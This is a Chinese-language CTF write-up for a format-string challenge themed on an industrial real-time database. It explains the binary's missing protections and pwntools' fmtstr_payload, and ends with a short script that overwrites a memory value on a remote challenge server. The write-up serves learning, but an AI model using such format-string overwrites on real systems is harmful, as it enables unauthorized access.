0x00.看题
健身回来,继续刷第二题,貌似和上一题一个风格啊。连名字都差不多,偏工业实际。不过这一题学到了一个新东西,fmtstr_payload.
题目描述:小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据库系统。小A意识到实时数据库系统会采集并存储与工业流程相关的上千节点的数据,只要登录进去,就能拿到有价值的数据。小A在尝试登陆实时数据库系统的过程中,一直找不到修改登录系统key的方法,虽然她现在收集到了能够登陆进系统的key的值,但是只能想别的办法来登陆。
根据题目描述,能知道:现在有了key值,修改key值就能登录系统。
0x01.检查保护
Arch: i386-32-little
RELRO: Partial RELRO //可以修改GOT表
Stack: No canary found //可以执行栈溢出
NX: NX disabled //堆栈可执行
PIE: No PIE (0x8048000) //地址随机化未开启
RWX: Has RWX segments //有可读可写可执行的段
这一查,程序不是全裸嘛…
0x02.利用fmtstr_payload构造payload
fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
实际上我们常用的形式是fmtstr_payload(offset,{address1:value1})
思路有了,下面写payload:
#usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
r = remote('159.138.137.79',56586)
context(log_level='debug',arch='i386',os='linux')
payload = fmtstr_payload(12,{0x804a048:0x02223322})
r.send(payload)
r.interactive()